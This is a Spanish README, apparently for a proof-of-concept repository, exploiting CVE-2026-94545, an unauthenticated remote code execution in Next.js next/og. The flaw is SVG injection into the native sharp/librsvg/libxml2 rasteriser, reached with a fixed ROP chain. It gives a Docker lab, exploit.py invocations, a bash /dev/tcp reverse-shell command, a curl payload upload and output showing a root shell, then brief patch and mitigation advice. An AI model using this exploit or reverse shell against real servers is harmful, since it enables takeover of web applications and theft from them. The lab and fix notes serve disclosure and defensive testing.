
Prueba de concepto de exploit para CVE-2026-94545, un RCE no autenticado en Next.js next/og mediante inyección de SVG y una cadena ROP contra el rasterizador nativo sharp.
★ CVE-2026-94545 Next.js next/og inyección SVG a RCE nativo ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogconstruye imágenes Open Graph renderizando JSX a un SVG con Satori y luego rasterizando ese SVG. Satori escribe el texto proporcionado por el usuario en el SVG sin escaparlo (CWE-116), por lo que una petición puede cerrar el elemento circundante e inyectar su propio marcado SVG. Cuando la ruta se ejecuta en el runtime de Node.js consharpinstalado, ese SVG es rasterizado por bibliotecas nativas (libvips, librsvg, libxml2) en lugar del renderizador wasm en sandbox. Un payload construido a partir de una referencia XInclude y entidades DTD anidadas corrompe la memoria dentro de ese parser nativo. El binario oficial de Node.js es non-PIE, por lo que su código y GOT no están aleatorizados y una cadena ROP fija alcanzaexecvesin una fuga de direcciones. Una única petición no autenticada a una ruta de imagen OG es suficiente para ejecutar comandos como el proceso del servidor.
| Categoría | Versión |
|---|---|
| Vulnerable | Next.js 16.2.0 – 16.3.5 (runtime Node, sharp presente), Satori >=0.0.27 <0.33.5 |
| Parcheado | Next.js 16.3.6 / Satori 0.33.5 o posterior |
Solo la ruta del runtime de Node.js está afectada. Con
export const runtime = 'edge', o una instalación sinsharp, la imagen es dibujada por el renderizadorresvg-wasm en sandbox y el fallo no conduce a ejecución de código.
ImageResponse es un sink.execve exitoso reemplaza el worker, por lo que la petición HTTP simplemente se cierra y el resultado tiene que volver por otra vía, como una reverse shell o un comando que llame a casa.Una aplicación Next.js mínima que reproduce la configuración vulnerable. La ruta en /api/og renderiza
un ImageResponse en el runtime de Node, y sharp está instalado para que se use el rasterizador nativo.
La imagen fija el stack exacto del que depende la cadena ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 con libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La primera build descarga Node, instala
las dependencias de npm y ejecuta next build, lo que tarda unos minutos.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Precondición | Estado en este laboratorio |
|---|---|
| Next.js 16.2.0 – 16.3.5 en el runtime de Node | Next 16.3.5, runtime = 'nodejs' |
sharp instalado, para que se use la ruta nativa librsvg/libxml2 | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Binario de Node non-PIE para una base ROP estable | Node oficial v24.20.0 linux-x64 (verificado por SHA) |
| Ruta de imagen OG accesible sin autenticación | GET y POST /api/og, el texto de la petición va a un <title> del SVG |
| Ruta de salida disponible para una reverse shell | bash y /dev/tcp están presentes |
La ruta vulnerable es POST /api/og. Toma el cuerpo de la petición y lo coloca en un <title> del SVG
antes de rasterizar. exploit.py construye ese SVG para un comando elegido, codifica la cadena ROP en un
<path>, y lo envía a la ruta.
La ejecución más simple abre una reverse shell. Dale el objetivo y una dirección de escucha; inicia nc
por ti, dispara la petición y te entrega la shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
El payload está calibrado para el stack listado en Entorno, así que ejecútalo contra esta imagen o un host con la misma build de Node y sharp. Un impacto reemplaza el proceso de node con tu comando, lo que significa que la petición HTTP se cierra y el servicio deja de responder hasta que se reinicie el contenedor.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
La reverse shell se ejecuta como el proceso del servidor, lo que confirma la ejecución de código desde una única petición no autenticada. Para ejecutar un comando sin un listener, pásalo directamente; ten en cuenta que la salida no vuelve por HTTP, por lo que el comando tiene que enviar cualquier cosa que quieras ver fuera de banda.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og a export const runtime = 'edge' para que se use el renderizador wasm en sandbox, o elimina sharp para que no se alcance la ruta nativa, y mantén la entrada de usuario sin sanear fuera de los hijos de ImageResponse.